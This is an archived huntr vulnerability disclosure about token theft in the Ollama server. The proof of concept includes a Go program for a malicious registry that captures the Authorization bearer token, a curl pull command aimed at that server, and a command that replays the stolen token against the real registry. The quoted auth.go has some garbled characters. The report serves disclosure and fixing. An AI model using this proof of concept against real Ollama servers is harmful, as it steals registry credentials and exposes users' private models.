

huntr - The world's first bug bounty platform for AI/ML

huntr - The world's first bug bounty platform for AI/ML - Mohammed Benhelli, Patrick Ventuzelo, huntr.com.

- Published: date not stated
- Original: <<https://huntr.com/bounties/94eea285-fd65-4e01-a035-f533575ebdc2>>
- Preserved from: <https://huntr.com/bounties/94eea285-fd65-4e01-a035-f533575ebdc2> (browser) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Ollama server authentication flow is vulnerable to token stealing in [ollama/ollama](#)

Pending

Reported on Dec 24th 2024

Ollama server authentication flow is vulnerable to token stealing

Credits

- Mohammed Benhelli [@Fuzzinglabs](#)
- Patrick Ventuzelo [@Fuzzinglabs](#)

Date: 24/12/2024

Executive summary

We discovered a vulnerability in the `ollama` server that can be triggered when a malicious API server responds to a request with a `WWW-Authenticate` header.

Impact

An attacker can exploit this vulnerability, which can lead to `Access Token Stealing`.

Vulnerability Details

- **Severity:** `Critical`
- **Vulnerability Type:** `Access Token Stealing`
- **Vulnerable Component:**
- `server/auth.go`

Environment

- **Distro Version:** `Ubuntu 22.04.4 LTS`
- **Additional Environment Details:** `go version go1.22.5 linux/amd64`

Steps to Reproduce

To demonstrate the issue, we provide a Proof of Concept (POC) to show that the bug can be triggered with the latest release of `ollama`.

- Clone and build the latest version of `ollama`:

```
git clone https://github.com/ollama/ollama
cd ollama
git checkout 2ddc32d5c5386b28062a46ac6cfea5160cd9f600
```

- Run an ollama server with the following commands:

```
cd llama
make -j 5
cd ..
go run main.go server
```

- Create a `main.go` file with the following content:

```

package main

import (
    "fmt"
    "log"
    "net/http"
)

func main() {
    http.HandleFunc("/", handleRequest)
    log.Fatal(http.ListenAndServe(":8000", nil))
}

func handleRequest(w http.ResponseWriter, r *http.Request) {
    fmt.Printf("Request: %s %s\n", r.Method, r.URL.String())
    if r.Header.Get("Authorization") == "" {
        w.Header().Set("WWW-Authenticate", `Bearer
realm="https://registry.ollama.ai/v2/token",service="ollama",scope="-"`)
        w.WriteHeader(http.StatusUnauthorized)
        if _, err := w.Write([]byte("Unauthorized")); err != nil {
            return
        }
        return
    }
    fmt.Printf("Authorization: %s\n", r.Header.Get("Authorization"))
    w.WriteHeader(http.StatusTeapot)
    if _, err := w.Write([]byte("Goeland")); err != nil {
        return
    }
}

```

- Run the server with the following command:

```
go run main.go
```

- Run the following command to trigger the vulnerability (The `insecure` flag is used for TLS handshake and not URL validation):

```

curl http://localhost:11434/api/pull -d '{
    "model": "http://127.0.0.1:8000/paella/goeland:0.5b",
    "insecure": true
}'

```

- Copy the `Authorization` token from the server output and try if it's valid against one of your private model for example:

```
curl "https://registry.ollama.ai/v2/paella/mario/manifests/latest" -v -H "Authorization: Bearer aHR0cHM6Ly9yZW...dpc3RyeS5xhbWE"
```

Detailed Behavior

Ollama output

```
...
time=2024-12-24T12:55:50.784Z level=WARN source=images.go:860 msg="pulling model with bad
existing manifest" name=127.0.0.1:8000/paella/goeland:0.5b error="open
C:\\Users\\bill_\\.ollama\\models\\manifests\\127.0.0.1:8000\\paella\\goeland\\0.5b: The
filename, directory name, or volume label syntax is incorrect."
[GIN] 2024/12/24 - 12:55:50 | 200 | 214.8201ms | 127.0.0.1 | POST
"/api/pull"
...
```

Main server output

```
...
Request: GET /v2/paella/goeland/manifests/0.5b
Request: GET /v2/paella/goeland/manifests/0.5b
Authorization: Bearer aHR0cHM6Ly9yZWdpc3RyeS5vbGxhbWEuYWkvd...
...
```

Request response

```
HTTP/1.1 200 OK
Content-Type: application/x-ndjson
Date: Tue, 24 Dec 2024 12:55:50 GMT
Transfer-Encoding: chunked

{"status":"pulling manifest"}
{"error":"pull model manifest: 418: Goeland"}
```

Root Cause Analysis

The root cause of the vulnerability is located in the `server/auth.go` file. The `getAuthorizationToken` function does not validate that the server asking for the token is on the same domain as ollama registry.

```

package server

...

func getAuthorizationToken(ctx context.Context, challenge registryChallenge) (string,
error) {
    redirectURL, err := challenge.URL()
    if err != nil {
        return "", err
    }

    sha256sum := sha256.Sum256(nil)
    data := []byte(fmt.Sprintf("%S,%S,%S", http.MethodGet, redirectURL.String(),
base64.StdEncoding.EncodeToString([]byte(hex.EncodeToString(sha256sum[:])))))

    headers := make(http.Header)
    signature, err := auth.Sign(ctx, data)
    if err != nil {
        return "", err
    }

    headers.Add("Authorization", signature)

    response, err := makeRequest(ctx, http.MethodGet, redirectURL, headers, nil,
@istryOptions{})
    if err != nil {
        return "", err
    }
    defer response.Body.Close()

    body, err := io.ReadAll(response.Body)
    if err != nil {
        return "", fmt.Errorf("%d: %v", response.StatusCode, err)
    }

    if response.StatusCode >= http.StatusBadRequest {
        if len(body) > 0 {
            return "", fmt.Errorf("%d: %s", response.StatusCode, body)
        } else {
            return "", fmt.Errorf("%d", response.StatusCode)
        }
    }

    var token api.TokenResponse
    if err := json.Unmarshal(body, &token); err != nil {
        return "", err
    }

```

```
}

return token.Token, nil
}
```

Recommendations

- Implement a check to prevent access token forgery for another realm.

Impact

Impact

An attacker can exploit this vulnerability, which can lead to Access Token Stealing .

Vulnerability Details

- **Severity:** Critical
- **Vulnerability Type:** Access Token Stealing
- **Vulnerable Component:**
 - server/auth.go

Occurrences

[[image: file]

auth.go L53

]

([https://github.com/ollama/ollama/blob/2ddc32d5c5386b28062a46ac6cfea5160cd9f600/se
rver/auth.go#L53](https://github.com/ollama/ollama/blob/2ddc32d5c5386b28062a46ac6cfea5160cd9f600/server/auth.go#L53))

Sign in to join this conversation

Vulnerability Type

[CWE-922: Insecure Storage of Sensitive Information](#)

Severity

Critical (9.1)

Attack vectorNetwork

Attack complexityLow

Privileges requiredNone

User interactionNone

ScopeUnchanged

ConfidentialityHigh

IntegrityHigh

AvailabilityNone

[Open in visual CVSS calculator](#)

Registry Golang

Affected Version

2ddc32d5c5386b28062a46ac6cfea5160cd9f600

Visibility Public

Status Awaiting review

Disclosure Bounty \$1500

Fix Bounty \$375

Found by



[Patrick Ventuzelo](#)

@pventuzelo

LIGHTWEIGHT

Archived from <https://huntr.com/bounties/94eea285-fd65-4e01-a035-f533575ebdc2>. Rendered offline from the local Markdown copy.